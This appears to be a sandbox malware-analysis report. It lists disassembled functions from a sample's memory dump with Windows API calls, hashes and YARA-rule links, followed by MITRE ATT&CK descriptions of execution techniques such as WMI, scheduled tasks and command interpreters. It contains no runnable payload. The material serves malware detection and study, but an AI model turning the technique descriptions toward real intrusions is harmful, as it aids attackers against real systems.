Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: Char$ByteMultiUpperWide$ErrorLast
String ID:
API String ID: 3939315453-0
Opcode ID: 209c94fe8e33f847f2405d3a9712247a1b8bb9216b5908a8917fe0bd7a80c077
Instruction ID: 0842cb939f6927aecb542cd9758d214692c03acffe84293a02396fd76ee0080f
Opcode Fuzzy Hash: 209c94fe8e33f847f2405d3a9712247a1b8bb9216b5908a8917fe0bd7a80c077
Instruction Fuzzy Hash: B30144B65001197ADB20ABE49CC9DEBBA7CDB08259F414572F942A3281E3756E4487B8

Function 00415523 Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000103,7FFFFFFF,00416EEF,00417BBE,00000000,?,?,00000000,00000001), ref: 00415525
TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 00415533
SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 0041557F

Part of subcall function 00416EFC: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00416FF2

TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 00415557
GetCurrentThreadId.KERNEL32 ref: 00415568

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: 86968800811f432393852c2012b1ac292949c56105930e45964c9f1db916a728
Instruction ID: cede6b9146d9eee740ee2dfbc4b23865fcca372efd47330e9e203dd76af2c63a
Opcode Fuzzy Hash: 86968800811f432393852c2012b1ac292949c56105930e45964c9f1db916a728
Instruction Fuzzy Hash: 09F09635A01611BBC7312B74AC096DB3E62EB857A1B51413AF551962A4DB28888196EC

Function 00417E3A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762

GetCPInfo.KERNEL32(00000000,?,?,00000000,00000000,?,?,00414BA4), ref: 00417E8B

Part of subcall function 0041576B: LeaveCriticalSection.KERNEL32(?,00413F70,00000009,00413F5C,00000000,?,00000000,00000000,00000000), ref: 00415778

Strings

+B, xrefs: 00417E7F
WB, xrefs: 00417EA8
WB, xrefs: 00417EF8

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: CriticalSection$EnterInfoInitializeLeave
String ID: +B$WB$WB
API String ID: 1866836854-4076192905
Opcode ID: ee95e9d0b24a19a0cc788d9683df54c17a7a80f6c3da06404699baeb333cbe61
Instruction ID: 91cfe2518806d3d9ee68befd2fe7c4d9c34af4d87c59522c175cbc6726151178
Opcode Fuzzy Hash: ee95e9d0b24a19a0cc788d9683df54c17a7a80f6c3da06404699baeb333cbe61
Instruction Fuzzy Hash: FC41243164C654AEE720DB24D8853EB7BF1AB05314FB4406BE5488B291CABD49C7C74C

Function 0041458F Relevance: 6.5, APIs: 5, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97048a31ed7e8673145bc5a0b9288faae4c75299d979c6b38067687c3c285a89
Instruction ID: b0a20c71c01645f6642c62949d543ab21d76ee58160ce25a59b39075e73dd19d
Opcode Fuzzy Hash: 97048a31ed7e8673145bc5a0b9288faae4c75299d979c6b38067687c3c285a89
Instruction Fuzzy Hash: 4691E671D01514ABCB21AB69DC85ADEBBB4EFC5764F240227F818B62D0D7398DC1CA6C

Function 0041659C Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,00420818,00420818,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165BD
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165E1
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165FB
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000,?), ref: 004166BC
HeapFree.KERNEL32(00000000,00000000,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000,?,00000000), ref: 004166D3

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: 3cebd7198669312bdcb80342c8511f4e4e3300f6cdfd7be81cbf94ce20f50e4e
Instruction ID: 0af9858cac0a30669fb94f5f64461d90f8de944a7195c69e4f59e8ed45fdce2d
Opcode Fuzzy Hash: 3cebd7198669312bdcb80342c8511f4e4e3300f6cdfd7be81cbf94ce20f50e4e
Instruction Fuzzy Hash: 983101B0700705EBD3309F24EC45BA2BBE4EB44794F12823AE55597791E778E8818BCC

Function 00409787 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040978C

Part of subcall function 004095DD: EnterCriticalSection.KERNEL32(?,?,?,00409903), ref: 004095E2
Part of subcall function 004095DD: LeaveCriticalSection.KERNEL32(?,?,?,00409903), ref: 004095EC

EnterCriticalSection.KERNEL32(?), ref: 004097B9
LeaveCriticalSection.KERNEL32(?), ref: 004097D5
__aulldiv.LIBCMT ref: 00409824

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: CriticalSection$EnterLeave$H_prolog__aulldiv
String ID:
API String ID: 3848147900-0
Opcode ID: 985cff57d02d2bbd00f179e979cdbab89758c627aa779ce2aa11222f2ed784f0
Instruction ID: 0a470d0c852558693c62499fef9fcf54cb9603282822d0262474d13d459b1607
Opcode Fuzzy Hash: 985cff57d02d2bbd00f179e979cdbab89758c627aa779ce2aa11222f2ed784f0
Instruction Fuzzy Hash: D2316076A00219AFCB10EFA1C881AEFBBB5FF48314F00442EE10573692CB79AD45CB64

Function 004095F7 Relevance: 6.0, APIs: 4, Instructions: 37windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00413260: SetEvent.KERNEL32(00000000,00407649), ref: 00413263

GetDlgItem.USER32(?,000003E8), ref: 0040961A
LoadIconA.USER32(00000000), ref: 00409634
SendMessageA.USER32(?,00000080,00000001,00000000), ref: 00409645
SetTimer.USER32(?,00000003,00000064,00000000), ref: 00409654

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: EventIconItemLoadMessageSendTimer
String ID:
API String ID: 2758541657-0
Opcode ID: a2a1fe83cc9e0c6555ab30a5ba5d34d7e9637e7b1c96707fcad98147a719e390
Instruction ID: 551790b6ae67963d7c94afa5d69916b6b09ae611f895d6b9f891aac7cfc7161a
Opcode Fuzzy Hash: a2a1fe83cc9e0c6555ab30a5ba5d34d7e9637e7b1c96707fcad98147a719e390
Instruction Fuzzy Hash: AF010830140B00AFD7219B21DD5AB66BBA1BF04721F008B2DE9A7959E0CB76B951CB48

Function 0040483F Relevance: 6.0, APIs: 4, Instructions: 36filetimeCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000078,0041B370,00000000,00402AAF,00000000,?,?,?,?), ref: 0040484F
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000,?,?,?,?), ref: 0040486B
SetFileTime.KERNEL32(00000000,00000000,?,?,?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000), ref: 00404882
CloseHandle.KERNEL32(00000000,?,40000000,00000003,00000000,00000003,02000000,00000000,?,0041B370,00000000,00402AAF,00000000,?,?,?), ref: 0040488E

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastTime
String ID:
API String ID: 2291555494-0
Opcode ID: ff746e65f9cee30ffc8bafec341a8eb05b102094c88bf525f6141f2248b114e2
Instruction ID: 64467d0e5ceda328e6e32eae128236dd02d513a4ef1926b956b8d25c0d97de23
Opcode Fuzzy Hash: ff746e65f9cee30ffc8bafec341a8eb05b102094c88bf525f6141f2248b114e2
Instruction Fuzzy Hash: B4F0E2762803507BE2302B60AC48F9B6E5CDBC9B25F108535B2A5A20E0C2294D1992B8

Function 0040D7CC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040D7D1

Strings

, xrefs: 0040D988
, xrefs: 0040D9B0

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID: $
API String ID: 3519838083-227171996
Opcode ID: f310208c7012b047481696f3de0866f141f831578990e3312a3a639e5dd044ff
Instruction ID: b608afa5533618173c50a936dd0dc92eebd328cd23ff399218f1dfb4b0bc6294
Opcode Fuzzy Hash: f310208c7012b047481696f3de0866f141f831578990e3312a3a639e5dd044ff
Instruction Fuzzy Hash: 6A713571E0020A9FCB24DF99D481AAEB7B1FF48314F10457ED416B7691D734AA8ACF54

Function 00403D5A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 152COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00403D5F

Part of subcall function 00403F3C: __EH_prolog.LIBCMT ref: 00403F41

Strings

> @, xrefs: 00403D6A
KA, xrefs: 00403DA1, 00403DD1, 00403DA4

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID: > @$KA
API String ID: 3519838083-301980584
Opcode ID: f9624756dcd051103a0faf5414ab264e1043146aad46313972ce47ae36e47b30
Instruction ID: 0797aa4f2666763f951e0621ef07ec53320c6840b80f95fc9e8c0876c74f2843
Opcode Fuzzy Hash: f9624756dcd051103a0faf5414ab264e1043146aad46313972ce47ae36e47b30
Instruction Fuzzy Hash: 27517D30D0020A9ACF15EF95C855AEEBF7AAF5430AF10452FE452372D2DB795B06CB89

Function 0041808D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 004180A1

Strings

, xrefs: 004180C6
, xrefs: 004180EA

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 8b363f32da595bfb59a3e5cf7fceda2159d83bff833a4ab1ae99a185f1cff2df
Instruction ID: d0f9309d8466ab513fef0fe96190925d4c3a9a36aebfd3e00fd14af349a29a6b
Opcode Fuzzy Hash: 8b363f32da595bfb59a3e5cf7fceda2159d83bff833a4ab1ae99a185f1cff2df
Instruction Fuzzy Hash: 18417C322046586EEB22DB14CC4DFFB7FA8DB06700F9400EAD549C7162CA794985CBAA

Function 00405F5E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00405F63
LoadStringW.USER32(KA,?,?,00000000), ref: 00405FBC

Strings

KA, xrefs: 00405FB9

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prologLoadString
String ID: KA
API String ID: 385046869-4133974868
Opcode ID: e6db0625694eca8672df4367e77b25990e3c0bbb9f4bdb8bdb41469bebcffd79
Instruction ID: f8b33de4bb70f64bdff40eb498b0250b344fd9cf2a6d880d3b442eae3703c9f6
Opcode Fuzzy Hash: e6db0625694eca8672df4367e77b25990e3c0bbb9f4bdb8bdb41469bebcffd79
Instruction Fuzzy Hash: B8212771D0011A9BCB05EFA1C9919EEBBB5FF08308F10407AE106B6291DB794E40CB98

Function 00405EBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00405EC1
LoadStringA.USER32(KA,?,?,00000000), ref: 00405F12

Strings

KA, xrefs: 00405F0F

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prologLoadString
String ID: KA
API String ID: 385046869-4133974868
Opcode ID: 65d677eaf710bde40107d5e97ee8b2feebca7ae19d827cde6303db2279eeba92
Instruction ID: 682fdee239e6c4724d42c8af7adc4720fc3e2d38c4520a7b7ac2604701000241
Opcode Fuzzy Hash: 65d677eaf710bde40107d5e97ee8b2feebca7ae19d827cde6303db2279eeba92
Instruction Fuzzy Hash: 6C1126B1D011199ACB06EFA5C9959EEBBB4FF18304F50447EE445B3291DB7A5E00CBA4

Function 004160FA Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,00000000,00000000,00415EC2,00000000,00000000,00000000,00413EF1,00000000,00000000,?,00000000,00000000,00000000), ref: 00416122
HeapAlloc.KERNEL32(00000008,000041C4,00000000,00000000,00415EC2,00000000,00000000,00000000,00413EF1,00000000,00000000,?,00000000,00000000,00000000), ref: 00416156
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 00416170
HeapFree.KERNEL32(00000000,?), ref: 00416187

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: b9288557613d4b1507cb107ac5399481b8ee784b68c3247b56fc213fdecf1f33
Instruction ID: c92a38fae87bb937ac208a7a453d8678043178d73965b4d0b203d58dccefea2c
Opcode Fuzzy Hash: b9288557613d4b1507cb107ac5399481b8ee784b68c3247b56fc213fdecf1f33
Instruction Fuzzy Hash: 98112B31300B01BFC7318F29EC869567BB5FB49764791862AF151C65B0C7709842CF48

Function 004156E1 Relevance: 5.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156EE
InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156F6
InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 004156FE
InitializeCriticalSection.KERNEL32(?,004154C2,?,00414B74), ref: 00415706

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: 9da826fcb73db9b2f0886f92194b085cad0f2cdeae026ac3c84f39be76329a94
Instruction ID: 9a5a21d657ffcc76f5c3c67f011d6e28d8344b300781f1748fbef07cd2b7b2eb
Opcode Fuzzy Hash: 9da826fcb73db9b2f0886f92194b085cad0f2cdeae026ac3c84f39be76329a94
Instruction Fuzzy Hash: CCC00231A05138ABCB712B65FC048563FB5EB882A03558077A1045203186612C12EFD8

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
